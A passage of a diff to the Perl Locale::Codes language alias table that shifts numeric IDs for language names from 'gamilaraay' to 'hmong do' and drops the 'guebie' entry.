       q(0),
       ],
    q(gamilaraay) => [
-      q(3429),
+      q(3428),
       q(0),
       ],
    q(gamit) => [
-      q(2428),
+      q(2427),
       q(0),
       ],
    q(gamkonora) => [
-      q(2405),
+      q(2404),
       q(0),
       ],
    q(gamo) => [
-      q(2561),
+      q(2559),
       q(0),
       ],
    q(gamo-ningi) => [
-      q(1474),
+      q(1473),
       q(0),
       ],
    q(gan chinese) => [
-      q(2408),
+      q(2407),
       q(0),
       ],
    q(gana) => [
-      q(2573),
+      q(2571),
       q(1),
       ],
    q(ganang) => [
-      q(2569),
+      q(2567),
       q(0),
       ],
    q(ganda) => [
-      q(0258),
+      q(0257),
       q(0),
       ],
    q(gandhari) => [
-      q(5423),
+      q(5419),
       q(0),
       ],
    q(gane) => [
-      q(2706),
+      q(2704),
       q(0),
       ],
    q(ganggalida) => [
-      q(2443),
+      q(2442),
       q(0),
       ],
    q(ganglau) => [
-      q(2495),
+      q(2494),
       q(0),
       ],
    q(gangte) => [
-      q(2566),
+      q(2564),
       q(0),
       ],
    q(gangulu) => [
-      q(2574),
+      q(2572),
       q(0),
       ],
    q(gants) => [
-      q(2409),
+      q(2408),
       q(0),
       ],
    q(ganza) => [
-      q(2704),
+      q(2702),
       q(0),
       ],
    q(ganzi) => [
-      q(2582),
+      q(2580),
       q(0),
       ],
    q(gao) => [
-      q(2489),
+      q(2488),
       q(0),
       ],
    q(gapapaiwa) => [
-      q(5654),
+      q(5652),
       q(0),
       ],
    q(garhwali) => [
-      q(2429),
+      q(2428),
       q(0),
       ],
    q(garifuna) => [
-      q(1639),
+      q(1638),
       q(0),
       ],
    q(garig-ilgar) => [
-      q(2951),
+      q(2948),
       q(0),
       ],
    q(garingbal) => [
-      q(7331),
+      q(7328),
       q(0),
       ],
    q(garlali) => [
-      q(2547),
+      q(2545),
       q(0),
       ],
    q(garo) => [
-      q(2623),
+      q(2621),
       q(0),
       ],
    q(garre) => [
-      q(2485),
+      q(2484),
       q(0),
       ],
    q(garrwa) => [
-      q(7205),
+      q(7203),
       q(0),
       ],
    q(garus) => [
-      q(2693),
+      q(2691),
       q(0),
       ],
    q(garza) => [
-      q(7334),
+      q(7331),
       q(0),
       ],
    q(gata') => [
-      q(2411),
+      q(2410),
       q(0),
       ],
    q(gavak) => [
-      q(2078),
+      q(2077),
       q(0),
       ],
    q(gavar) => [
-      q(2599),
+      q(2597),
       q(0),
       ],
    q(gaviao do jiparana) => [
-      q(2671),
+      q(2669),
       q(0),
       ],
    q(gawar-bati) => [
-      q(2687),
+      q(2685),
       q(0),
       ],
    q(gawwada) => [
-      q(2679),
+      q(2677),
       q(0),
       ],
    q(gayil) => [
-      q(2699),
+      q(2697),
       q(0),
       ],
    q(gayo) => [
-      q(0147),
+      q(0146),
       q(0),
       ],
    q(gazi) => [
-      q(2705),
+      q(2703),
       q(0),
       ],
    q(gbagyi) => [
-      q(2434),
+      q(2433),
       q(0),
       ],
    q(gban) => [
-      q(2497),
+      q(2496),
       q(1),
       ],
    q(gbanu) => [
-      q(2437),
+      q(2436),
       q(0),
       ],
    q(gbanziri) => [
-      q(2423),
+      q(2422),
       q(0),
       ],
    q(gbari) => [
-      q(2440),
+      q(2439),
       q(0),
       ],
    q(gbaya) => [
-      q(0148),
+      q(0147),
       q(0),
       ],
    q(gbaya (central african republic)) => [
-      q(0148),
+      q(0147),
       q(1),
       ],
    q(gbaya (sudan)) => [
@@ -33091,43 +33057,43 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(gbaya-bossangoa) => [
-      q(2432),
+      q(2431),
       q(0),
       ],
    q(gbaya-bozoum) => [
-      q(2433),
+      q(2432),
       q(0),
       ],
    q(gbaya-mbodomo) => [
-      q(2558),
+      q(2556),
       q(0),
       ],
    q(gbayi) => [
-      q(2697),
+      q(2695),
       q(0),
       ],
    q(gbesi gbe) => [
-      q(2435),
+      q(2434),
       q(0),
       ],
    q(gbii) => [
-      q(2490),
+      q(2489),
       q(0),
       ],
    q(gbin) => [
-      q(7327),
+      q(7324),
       q(0),
       ],
    q(gbiri-niragu) => [
-      q(2615),
+      q(2613),
       q(0),
       ],
    q(gboloo grebo) => [
-      q(2473),
+      q(2472),
       q(0),
       ],
    q(ge) => [
-      q(2783),
+      q(2781),
       q(0),
       ],
    q(geba karen) => [
@@ -33135,239 +33101,239 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(gebe) => [
-      q(2477),
+      q(2476),
       q(0),
       ],
    q(gedaged) => [
-      q(2453),
+      q(2452),
       q(0),
       ],
    q(gedeo) => [
-      q(2139),
+      q(2138),
       q(0),
       ],
    q(geez) => [
-      q(0152),
+      q(0151),
       q(0),
       ],
    q(geji) => [
-      q(2529),
+      q(2527),
       q(0),
       ],
    q(gejia) => [
-      q(2783),
+      q(2781),
       q(1),
       ],
    q(geko karen) => [
-      q(2503),
+      q(2502),
       q(0),
       ],
    q(gela) => [
-      q(4942),
+      q(4940),
       q(0),
       ],
    q(geman deng) => [
-      q(4649),
+      q(4648),
       q(1),
       ],
    q(geme) => [
-      q(2481),
+      q(2480),
       q(0),
       ],
    q(gen) => [
-      q(2478),
+      q(2477),
       q(0),
       ],
    q(gende) => [
-      q(2400),
+      q(2399),
       q(0),
       ],
    q(gengle) => [
-      q(2475),
+      q(2474),
       q(0),
       ],
    q(georgian) => [
-      q(0150),
+      q(0149),
       q(0),
       ],
    q(gepo) => [
-      q(7622),
+      q(7619),
       q(0),
       ],
    q(gera) => [
-      q(2484),
+      q(2483),
       q(0),
       ],
    q(gergiko) => [
-      q(4448),
+      q(4447),
       q(1),
       ],
    q(german) => [
-      q(0151),
+      q(0150),
       q(0),
       ],
    q(german sign language) => [
-      q(2631),
+      q(2629),
       q(0),
       ],
    q(german, low) => [
-      q(0307),
+      q(0306),
       q(2),
       ],
    q(german, middle high (ca.1050-1500)) => [
-      q(0158),
+      q(0157),
       q(0),
       ],
    q(german, old high (ca.750-1050)) => [
-      q(0159),
+      q(0158),
       q(0),
       ],
    q(germanic languages) => [
-      q(0149),
+      q(0148),
       q(0),
       ],
    q(geruma) => [
-      q(2471),
+      q(2470),
       q(0),
       ],
    q(geser-gorom) => [
-      q(2482),
+      q(2481),
       q(0),
       ],
    q(ghadames) => [
-      q(2499),
+      q(2498),
       q(0),
       ],
    q(ghanaian pidgin english) => [
-      q(2605),
+      q(2603),
       q(0),
       ],
    q(ghanaian sign language) => [
-      q(2630),
+      q(2628),
       q(0),
       ],
    q(ghandruk sign language) => [
-      q(2467),
+      q(2466),
       q(0),
       ],
    q(ghanongga) => [
-      q(2505),
+      q(2504),
       q(0),
       ],
    q(ghari) => [
-      q(2616),
+      q(2614),
       q(0),
       ],
    q(ghayavi) => [
-      q(1313),
+      q(1312),
       q(0),
       ],
    q(gheg albanian) => [
-      q(0756),
+      q(0755),
       q(0),
       ],
    q(ghera) => [
-      q(2507),
+      q(2506),
       q(0),
       ],
    q(ghodoberi) => [
-      q(2464),
+      q(2463),
       q(0),
       ],
    q(ghomala') => [
-      q(1048),
+      q(1047),
       q(0),
       ],
    q(ghomara) => [
-      q(2506),
+      q(2505),
       q(0),
       ],
    q(ghotuo) => [
-      q(0539),
+      q(0538),
       q(0),
       ],
    q(ghulfan) => [
-      q(2504),
+      q(2503),
       q(0),
       ],
    q(giangan) => [
-      q(1169),
+      q(1168),
       q(0),
       ],
    q(gibanawa) => [
-      q(2511),
+      q(2510),
       q(0),
       ],
    q(gichuka) => [
-      q(1902),
+      q(1901),
       q(1),
       ],
    q(gidar) => [
-      q(2513),
+      q(2512),
       q(0),
       ],
    q(giiwo) => [
-      q(3418),
+      q(3417),
       q(0),
       ],
    q(gikuyu) => [
-      q(0225),
+      q(0224),
       q(1),
       ],
    q(gikyode) => [
-      q(0587),
+      q(0586),
       q(0),
       ],
    q(gilaki) => [
-      q(2546),
+      q(2544),
       q(0),
       ],
    q(gilbertese) => [
-      q(0153),
+      q(0152),
       q(0),
       ],
    q(gilima) => [
-      q(2526),
+      q(2524),
       q(0),
       ],
    q(gilyak) => [
-      q(4893),
+      q(4891),
       q(0),
       ],
    q(gimi (eastern highlands)) => [
-      q(2517),
+      q(2515),
       q(0),
       ],
    q(gimi (west new britain)) => [
-      q(2519),
+      q(2517),
       q(0),
       ],
    q(gimme) => [
-      q(3466),
+      q(3465),
       q(0),
       ],
    q(gimnime) => [
-      q(2559),
+      q(2557),
       q(0),
       ],
    q(ginuman) => [
-      q(2575),
+      q(2573),
       q(0),
       ],
    q(ginyanga) => [
-      q(0998),
+      q(0997),
       q(0),
       ],
    q(girawa) => [
-      q(1056),
+      q(1055),
       q(0),
       ],
    q(giryama) => [
-      q(5155),
+      q(5151),
       q(0),
       ],
    q(githabul) => [
-      q(2516),
+      q(2514),
       q(0),
       ],
    q(gitonga) => [
@@ -33375,15 +33341,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(gitua) => [
-      q(2496),
+      q(2495),
       q(0),
       ],
    q(gitxsan) => [
-      q(2523),
+      q(2521),
       q(0),
       ],
    q(giyug) => [
-      q(2527),
+      q(2525),
       q(0),
       ],
    q(gizrra) => [
@@ -33391,71 +33357,71 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(glaro-twabo) => [
-      q(2549),
+      q(2547),
       q(0),
       ],
    q(glavda) => [
-      q(2551),
+      q(2549),
       q(0),
       ],
    q(glio-oubi) => [
-      q(5330),
+      q(5326),
       q(0),
       ],
    q(gnau) => [
-      q(2580),
+      q(2578),
       q(0),
       ],
    q(goan konkani) => [
-      q(2594),
+      q(2592),
       q(0),
       ],
    q(goaria) => [
-      q(2515),
+      q(2513),
       q(0),
       ],
    q(gobasi) => [
-      q(2590),
+      q(2588),
       q(0),
       ],
    q(gobu) => [
-      q(2601),
+      q(2599),
       q(0),
       ],
    q(godie) => [
-      q(2586),
+      q(2584),
       q(0),
       ],
    q(godwari) => [
-      q(2470),
+      q(2469),
       q(0),
       ],
    q(goemai) => [
-      q(0800),
+      q(0799),
       q(0),
       ],
    q(gofa) => [
-      q(2588),
+      q(2586),
       q(0),
       ],
    q(gogo) => [
-      q(2589),
+      q(2587),
       q(0),
       ],
    q(gogodala) => [
-      q(2498),
+      q(2497),
       q(0),
       ],
    q(gokana) => [
-      q(2537),
+      q(2535),
       q(0),
       ],
    q(gola) => [
-      q(2593),
+      q(2591),
       q(0),
       ],
    q(golin) => [
-      q(2666),
+      q(2664),
       q(0),
       ],
    q(golpa) => [
@@ -33463,379 +33429,375 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(gondi) => [
-      q(0160),
+      q(0159),
       q(0),
       ],
    q(gone dau) => [
-      q(2595),
+      q(2593),
       q(0),
       ],
    q(gongduk) => [
-      q(2587),
+      q(2585),
       q(0),
       ],
    q(gonja) => [
-      q(2532),
+      q(2530),
       q(0),
       ],
    q(gooniyandi) => [
-      q(2572),
+      q(2570),
       q(0),
       ],
    q(gor) => [
-      q(2610),
+      q(2608),
       q(0),
       ],
    q(gorakor) => [
-      q(2585),
+      q(2583),
       q(0),
       ],
    q(gorap) => [
-      q(2597),
+      q(2595),
       q(0),
       ],
    q(goreng) => [
-      q(7330),
+      q(7327),
       q(0),
       ],
    q(gorontalo) => [
-      q(0161),
+      q(0160),
       q(0),
       ],
    q(gorovu) => [
-      q(2620),
+      q(2618),
       q(0),
       ],
    q(gorowa) => [
-      q(2600),
+      q(2598),
       q(0),
       ],
    q(gothic) => [
-      q(0162),
+      q(0161),
       q(0),
       ],
    q(goundo) => [
-      q(2602),
+      q(2600),
       q(0),
       ],
    q(gourmanchema) => [
-      q(2661),
+      q(2659),
       q(0),
       ],
    q(gowlan) => [
-      q(2591),
+      q(2589),
       q(0),
       ],
    q(gowli) => [
-      q(2592),
+      q(2590),
       q(0),
       ],
    q(gowro) => [
-      q(2681),
+      q(2679),
       q(0),
       ],
    q(gozarkhani) => [
-      q(2603),
+      q(2601),
       q(0),
       ],
    q(grangali) => [
-      q(4943),
+      q(4941),
       q(0),
       ],
    q(grass koiari) => [
-      q(3192),
+      q(3190),
       q(0),
       ],
    q(grebo) => [
-      q(0163),
+      q(0162),
       q(0),
       ],
    q(greek) => [
-      q(0165),
+      q(0164),
       q(1),
       ],
    q(greek languages) => [
-      q(0509),
+      q(0508),
       q(0),
       ],
    q(greek sign language) => [
-      q(2637),
+      q(2635),
       q(0),
       ],
    q(greek, ancient (to 1453)) => [
-      q(0164),
+      q(0163),
       q(0),
       ],
    q(greek, modern (1453-)) => [
-      q(0165),
+      q(0164),
       q(0),
       ],
    q(green gelao) => [
-      q(2520),
+      q(2518),
       q(0),
       ],
    q(greenlandic) => [
-      q(0212),
+      q(0211),
       q(1),
       ],
    q(grenadian creole english) => [
-      q(2446),
+      q(2445),
       q(0),
       ],
    q(gresi) => [
-      q(2622),
+      q(2620),
       q(0),
       ],
    q(groma) => [
-      q(2619),
+      q(2617),
       q(0),
       ],
    q(gronings) => [
-      q(2598),
+      q(2596),
       q(0),
       ],
    q(gros ventre) => [
-      q(0926),
+      q(0925),
       q(0),
       ],
    q(gua) => [
-      q(2690),
+      q(2688),
       q(0),
       ],
    q(guadeloupean creole french) => [
-      q(2445),
+      q(2444),
       q(0),
       ],
    q(guahibo) => [
-      q(2647),
+      q(2645),
       q(0),
       ],
    q(guaja) => [
-      q(2667),
+      q(2665),
       q(0),
       ],
    q(guajajara) => [
-      q(2641),
+      q(2639),
       q(0),
       ],
    q(guambiano) => [
-      q(2651),
+      q(2649),
       q(0),
       ],
    q(guana (brazil)) => [
-      q(2609),
+      q(2607),
       q(0),
       ],
    q(guana (paraguay)) => [
-      q(2663),
+      q(2661),
       q(0),
       ],
    q(guanano) => [
-      q(2664),
+      q(2662),
       q(0),
       ],
    q(guanche) => [
-      q(2567),
+      q(2565),
       q(0),
       ],
    q(guanyinqiao) => [
-      q(3100),
+      q(3098),
       q(0),
       ],
    q(guarani) => [
-      q(0166),
+      q(0165),
       q(0),
       ],
    q(guarayu) => [
-      q(2702),
+      q(2700),
       q(0),
       ],
    q(guarequena) => [
-      q(2399),
+      q(2398),
       q(0),
       ],
    q(guatemalan sign language) => [
-      q(2633),
+      q(2631),
       q(0),
       ],
    q(guato) => [
-      q(2638),
+      q(2636),
       q(0),
       ],
    q(guayabero) => [
-      q(2653),
+      q(2651),
       q(0),
       ],
    q(gudang) => [
-      q(7328),
+      q(7325),
       q(0),
       ],
    q(gudanji) => [
-      q(4902),
+      q(4900),
       q(0),
       ],
    q(gude) => [
-      q(2454),
+      q(2453),
       q(0),
       ],
    q(gudu) => [
-      q(2469),
+      q(2468),
       q(0),
       ],
    q(guduf-gava) => [
-      q(2455),
+      q(2454),
       q(0),
       ],
-   q(guebie) => [
-      q(2514),
-      q(1),
-      ],
    q(guernesiais) => [
-      q(5048),
+      q(5044),
       q(1),
       ],
    q(guerrero amuzgo) => [
-      q(0785),
+      q(0784),
       q(0),
       ],
    q(guerrero nahuatl) => [
-      q(4847),
+      q(4845),
       q(0),
       ],
    q(guevea de humboldt zapotec) => [
-      q(7905),
+      q(7902),
       q(0),
       ],
    q(gugadj) => [
-      q(2491),
+      q(2490),
       q(0),
       ],
    q(gugu badhun) => [
-      q(2452),
+      q(2451),
       q(0),
       ],
    q(gugu warra) => [
-      q(7215),
+      q(7213),
       q(0),
       ],
    q(gugubera) => [
-      q(3415),
+      q(3414),
       q(0),
       ],
    q(guguyimidjir) => [
-      q(3424),
+      q(3423),
       q(0),
       ],
    q(guhu-samane) => [
-      q(2508),
+      q(2507),
       q(0),
       ],
    q(guianese creole french) => [
-      q(2448),
+      q(2447),
       q(0),
       ],
    q(guibei zhuang) => [
-      q(7825),
+      q(7822),
       q(0),
       ],
    q(guiberoua bete) => [
-      q(1130),
+      q(1129),
       q(0),
       ],
    q(guibian zhuang) => [
-      q(7827),
+      q(7824),
       q(0),
       ],
    q(guila zapotec) => [
-      q(7947),
+      q(7944),
       q(0),
       ],
    q(guinea kpelle) => [
-      q(2539),
+      q(2537),
       q(0),
       ],
    q(guinean sign language) => [
-      q(2657),
+      q(2655),
       q(0),
       ],
    q(guiqiong) => [
-      q(2608),
+      q(2606),
       q(0),
       ],
    q(gujarati) => [
-      q(0168),
+      q(0167),
       q(0),
       ],
    q(gujari) => [
-      q(2534),
+      q(2532),
       q(0),
       ],
    q(gula (central african republic)) => [
-      q(3220),
+      q(3218),
       q(0),
       ],
    q(gula (chad)) => [
-      q(2550),
+      q(2548),
       q(0),
       ],
    q(gula iro) => [
-      q(2545),
+      q(2543),
       q(0),
       ],
    q(gula'alaa) => [
-      q(2554),
+      q(2552),
       q(0),
       ],
    q(gulay) => [
-      q(2668),
+      q(2666),
       q(0),
       ],
    q(gule) => [
-      q(2552),
+      q(2550),
       q(0),
       ],
    q(gulf arabic) => [
-      q(0640),
+      q(0639),
       q(0),
       ],
    q(guliguli) => [
-      q(2544),
+      q(2542),
       q(0),
       ],
    q(gumalu) => [
-      q(2560),
+      q(2558),
       q(0),
       ],
    q(gumatj) => [
-      q(2576),
+      q(2574),
       q(0),
       ],
    q(gumawana) => [
-      q(2674),
+      q(2672),
       q(0),
       ],
    q(gumuz) => [
-      q(2649),
+      q(2647),
       q(0),
       ],
    q(gun) => [
-      q(2660),
+      q(2658),
       q(0),
       ],
    q(gundi) => [
-      q(2458),
+      q(2457),
       q(0),
       ],
    q(gunditjmara) => [
-      q(2531),
+      q(2529),
       q(0),
       ],
    q(gundungurra) => [
-      q(7463),
+      q(7460),
       q(0),
       ],
    q(gungabula) => [
-      q(2696),
+      q(2694),
       q(0),
       ],
    q(gungu) => [
@@ -33843,323 +33805,323 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(guntai) => [
-      q(2579),
+      q(2577),
       q(0),
       ],
    q(gunwinggu) => [
-      q(2654),
+      q(2652),
       q(0),
       ],
    q(gunya) => [
-      q(2703),
+      q(2701),
       q(0),
       ],
    q(gupa-abawa) => [
-      q(2604),
+      q(2602),
       q(0),
       ],
    q(gupapuyngu) => [
-      q(2645),
+      q(2643),
       q(0),
       ],
    q(guragone) => [
-      q(2492),
+      q(2491),
       q(0),
       ],
    q(guramalum) => [
-      q(2629),
+      q(2627),
       q(0),
       ],
    q(gurani) => [
-      q(2709),
+      q(2707),
       q(0),
       ],
    q(gurdjar) => [
-      q(2459),
+      q(2458),
       q(0),
       ],
    q(gureng gureng) => [
-      q(2578),
+      q(2576),
       q(0),
       ],
    q(gurgula) => [
-      q(2493),
+      q(2492),
       q(0),
       ],
    q(guriaso) => [
-      q(2627),
+      q(2625),
       q(0),
       ],
    q(gurindji kriol) => [
-      q(2533),
+      q(2531),
       q(0),
       ],
    q(gurinji) => [
-      q(2644),
+      q(2642),
       q(0),
       ],
    q(gurmana) => [
-      q(2669),
+      q(2667),
       q(0),
       ],
    q(guro) => [
-      q(2583),
+      q(2581),
       q(0),
       ],
    q(gurung) => [
-      q(2673),
+      q(2671),
       q(0),
       ],
    q(guruntum-mbaaru) => [
-      q(2613),
+      q(2611),
       q(0),
       ],
    q(gusan) => [
-      q(2634),
+      q(2632),
       q(1),
       ],
    q(gusii) => [
-      q(2662),
+      q(2660),
       q(0),
       ],
    q(gusilay) => [
-      q(2632),
+      q(2630),
       q(0),
       ],
    q(guwa) => [
-      q(7336),
+      q(7333),
       q(0),
       ],
    q(guwamu) => [
-      q(2688),
+      q(2686),
       q(0),
       ],
    q(guwinmal) => [
-      q(7333),
+      q(7330),
       q(1),
       ],
    q(guya) => [
-      q(2535),
+      q(2533),
       q(0),
       ],
    q(guyanese creole english) => [
-      q(2701),
+      q(2699),
       q(0),
       ],
    q(guyani) => [
-      q(2675),
+      q(2673),
       q(0),
       ],
    q(gvoko) => [
-      q(4845),
+      q(4843),
       q(0),
       ],
    q(gwa) => [
-      q(2677),
+      q(2675),
       q(0),
       ],
    q(gwahatike) => [
-      q(1937),
+      q(1936),
       q(0),
       ],
    q(gwak) => [
-      q(3085),
+      q(3083),
       q(0),
       ],
    q(gwamhi-wuri) => [
-      q(1162),
+      q(1161),
       q(0),
       ],
    q(gwandara) => [
-      q(2685),
+      q(2683),
       q(0),
       ],
    q(gweda) => [
-      q(2626),
+      q(2624),
       q(0),
       ],
    q(gweno) => [
-      q(2680),
+      q(2678),
       q(0),
       ],
    q(gwere) => [
-      q(2686),
+      q(2684),
       q(0),
       ],
    q(gwi) => [
-      q(2683),
+      q(2681),
       q(1),
       ],
    q(gwich'in) => [
-      q(0169),
+      q(0168),
       q(0),
       ],
    q(gyele) => [
-      q(2698),
+      q(2696),
       q(0),
       ],
    q(gyem) => [
-      q(2695),
+      q(2693),
       q(0),
       ],
    q(ha) => [
-      q(2722),
+      q(2720),
       q(0),
       ],
    q(habu) => [
-      q(2733),
+      q(2731),
       q(0),
       ],
    q(hadiyya) => [
-      q(2738),
+      q(2736),
       q(0),
       ],
    q(hadothi) => [
-      q(2814),
+      q(2812),
       q(0),
       ],
    q(hadrami) => [
-      q(7339),
+      q(7336),
       q(0),
       ],
    q(hadrami arabic) => [
-      q(0999),
+      q(0998),
       q(0),
       ],
    q(hadza) => [
-      q(2846),
+      q(2844),
       q(0),
       ],
    q(haeke) => [
-      q(0629),
+      q(0628),
       q(0),
       ],
    q(hahon) => [
-      q(2714),
+      q(2712),
       q(0),
       ],
    q(hai//om) => [
-      q(2745),
+      q(2743),
       q(0),
       ],
    q(haida) => [
-      q(0170),
+      q(0169),
       q(0),
       ],
    q(haigwai) => [
-      q(2746),
+      q(2744),
       q(0),
       ],
    q(haiom) => [
-      q(2745),
+      q(2743),
       q(1),
       ],
    q(haiphong sign language) => [
-      q(2712),
+      q(2710),
       q(0),
       ],
    q(haisla) => [
-      q(2724),
+      q(2722),
       q(0),
       ],
    q(haitian) => [
-      q(0171),
+      q(0170),
       q(0),
       ],
    q(haitian creole) => [
-      q(0171),
+      q(0170),
       q(1),
       ],
    q(haitian vodoun culture language) => [
-      q(2872),
+      q(2870),
       q(0),
       ],
    q(haji) => [
-      q(2763),
+      q(2761),
       q(0),
       ],
    q(hajong) => [
-      q(2715),
+      q(2713),
       q(0),
       ],
    q(haka chin) => [
-      q(1796),
+      q(1795),
       q(1),
       ],
    q(hakha chin) => [
-      q(1796),
+      q(1795),
       q(0),
       ],
    q(hakka chinese) => [
-      q(2716),
+      q(2714),
       q(0),
       ],
    q(hako) => [
-      q(2720),
+      q(2718),
       q(0),
       ],
    q(halang) => [
-      q(2717),
+      q(2715),
       q(0),
       ],
    q(halang doan) => [
-      q(2770),
+      q(2768),
       q(0),
       ],
    q(halbi) => [
-      q(2769),
+      q(2767),
       q(0),
       ],
    q(halh mongolian) => [
-      q(3338),
+      q(3337),
       q(0),
       ],
    q(halia) => [
-      q(2768),
+      q(2766),
       q(0),
       ],
    q(halkomelem) => [
-      q(2863),
+      q(2861),
       q(0),
       ],
    q(hamap) => [
-      q(2792),
+      q(2790),
       q(0),
       ],
    q(hamba) => [
-      q(2729),
+      q(2727),
       q(0),
       ],
    q(hamea) => [
-      q(1737),
+      q(1736),
       q(1),
       ],
    q(hamer-banna) => [
-      q(0771),
+      q(0770),
       q(0),
       ],
    q(hamtai) => [
-      q(2791),
+      q(2789),
       q(0),
       ],
    q(han) => [
-      q(2707),
+      q(2705),
       q(0),
       ],
    q(hanga) => [
-      q(2713),
+      q(2711),
       q(0),
       ],
    q(hanga hundi) => [
-      q(7195),
+      q(7193),
       q(0),
       ],
    q(hangaza) => [
-      q(2719),
+      q(2717),
       q(0),
       ],
    q(hani) => [
-      q(2801),
+      q(2799),
       q(0),
       ],
    q(hano) => [
@@ -34167,35 +34129,35 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(hanoi sign language) => [
-      q(2708),
+      q(2706),
       q(0),
       ],
    q(hanunoo) => [
-      q(2803),
+      q(2801),
       q(0),
       ],
    q(harami) => [
-      q(7337),
+      q(7334),
       q(0),
       ],
    q(harari) => [
-      q(2723),
+      q(2721),
       q(0),
       ],
    q(harijan kinnauri) => [
-      q(3389),
+      q(3388),
       q(0),
       ],
    q(haroi) => [
-      q(2833),
+      q(2831),
       q(0),
       ],
    q(haroti) => [
-      q(2814),
+      q(2812),
       q(1),
       ],
    q(harsusi) => [
-      q(2843),
+      q(2841),
       q(0),
       ],
    q(haruai) => [
@@ -34203,99 +34165,99 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(haruku) => [
-      q(2831),
+      q(2829),
       q(0),
       ],
    q(haryanvi) => [
-      q(1164),
+      q(1163),
       q(0),
       ],
    q(harzani) => [
-      q(2839),
+      q(2837),
       q(0),
       ],
    q(hasha) => [
-      q(7589),
+      q(7586),
       q(0),
       ],
    q(hassaniyya) => [
-      q(4215),
+      q(4214),
       q(0),
       ],
    q(hatam) => [
-      q(2710),
+      q(2708),
       q(0),
       ],
    q(hattic) => [
-      q(7342),
+      q(7339),
       q(0),
       ],
    q(hausa) => [
-      q(0172),
+      q(0171),
       q(0),
       ],
    q(hausa sign language) => [
-      q(2841),
+      q(2839),
       q(0),
       ],
    q(havasupai-walapai-yavapai) => [
-      q(7752),
+      q(7749),
       q(0),
       ],
    q(haveke) => [
-      q(2874),
+      q(2872),
       q(0),
       ],
    q(havu) => [
-      q(2725),
+      q(2723),
       q(0),
       ],
    q(hawai'i creole english) => [
-      q(2878),
+      q(2876),
       q(0),
       ],
    q(hawai'i pidgin) => [
-      q(2878),
+      q(2876),
       q(1),
       ],
    q(hawai'i pidgin sign language) => [
-      q(2827),
+      q(2825),
       q(1),
       ],
    q(hawai'i sign language (hsl)) => [
-      q(2827),
+      q(2825),
       q(0),
       ],
    q(hawaiian) => [
-      q(0173),
+      q(0172),
       q(0),
       ],
    q(haya) => [
-      q(2727),
+      q(2725),
       q(0),
       ],
    q(hazaragi) => [
-      q(2728),
+      q(2726),
       q(0),
       ],
    q(hdi) => [
-      q(7316),
+      q(7313),
       q(0),
       ],
    q(hebrew) => [
-      q(0174),
+      q(0173),
       q(0),
       ],
    q(hehe) => [
-      q(2742),
+      q(2740),
       q(0),
       ],
    q(heiban) => [
-      q(2731),
+      q(2729),
       q(0),
       ],
    q(heiltsuk) => [
-      q(2743),
+      q(2741),
       q(0),
       ],
    q(helambu sherpa) => [
@@ -34303,23 +34265,23 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(helong) => [
-      q(2741),
+      q(2739),
       q(0),
       ],
    q(hema) => [
-      q(4895),
+      q(4893),
       q(0),
       ],
    q(hemba) => [
-      q(2744),
+      q(2742),
       q(0),
       ],
    q(herde) => [
-      q(2740),
+      q(2738),
       q(0),
       ],
    q(herero) => [
-      q(0175),
+      q(0174),
       q(0),
       ],
    q(hermit) => [
@@ -34327,59 +34289,59 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(hernican) => [
-      q(7341),
+      q(7338),
       q(0),
       ],
    q(hertevin) => [
-      q(2835),
+      q(2833),
       q(0),
       ],
    q(heung kong sau yue) => [
-      q(2767),
+      q(2765),
       q(1),
       ],
    q(hewa) => [
-      q(2718),
+      q(2716),
       q(0),
       ],
    q(heyo) => [
-      q(0942),
+      q(0941),
       q(0),
       ],
    q(hiberno-scottish gaelic) => [
-      q(2500),
+      q(2499),
       q(0),
       ],
    q(hibito) => [
-      q(2751),
+      q(2749),
       q(0),
       ],
    q(hidatsa) => [
-      q(2752),
+      q(2750),
       q(0),
       ],
    q(hieroglyphic luwian) => [
-      q(2773),
+      q(2771),
       q(0),
       ],
    q(higaonon) => [
-      q(4120),
+      q(4119),
       q(0),
       ],
    q(highland konjo) => [
-      q(3385),
+      q(3384),
       q(0),
       ],
    q(highland oaxaca chontal) => [
-      q(1717),
+      q(1716),
       q(0),
       ],
    q(highland popoluca) => [
-      q(5555),
+      q(5551),
       q(0),
       ],
    q(highland puebla nahuatl) => [
-      q(1022),
+      q(1021),
       q(0),
       ],
    q(highland totonac) => [
@@ -34387,55 +34349,55 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(hijazi arabic) => [
-      q(0601),
+      q(0600),
       q(0),
       ],
    q(hijuk) => [
-      q(2757),
+      q(2755),
       q(0),
       ],
    q(hiligaynon) => [
-      q(0176),
+      q(0175),
       q(0),
       ],
    q(himachali languages) => [
-      q(0177),
+      q(0176),
       q(0),
       ],
    q(himarima) => [
-      q(2760),
+      q(2758),
       q(0),
       ],
    q(hindi) => [
-      q(0178),
+      q(0177),
       q(0),
       ],
    q(hinduri) => [
-      q(2756),
+      q(2754),
       q(0),
       ],
    q(hinukh) => [
-      q(2518),
+      q(2516),
       q(0),
       ],
    q(hiri motu) => [
-      q(0181),
+      q(0180),
       q(0),
       ],
    q(hittite) => [
-      q(0179),
+      q(0178),
       q(0),
       ],
    q(hitu) => [
-      q(2847),
+      q(2845),
       q(0),
       ],
    q(hiw) => [
-      q(2761),
+      q(2759),
       q(0),
       ],
    q(hixkaryana) => [
-      q(2762),
+      q(2760),
       q(0),
       ],
    q(hlai) => [
@@ -34443,227 +34405,227 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(hlepho phowa) => [
-      q(7629),
+      q(7626),
       q(0),
       ],
    q(hlersu) => [
-      q(2771),
+      q(2769),
       q(0),
       ],
    q(hmar) => [
-      q(2789),
+      q(2787),
       q(0),
       ],
    q(hmong) => [
-      q(0180),
+      q(0179),
       q(0),
       ],
    q(hmong daw) => [
-      q(4636),
+      q(4635),
       q(0),
       ],
    q(hmong do) => [
-      q(2793),
+      q(2791),
       q(0),
       ],
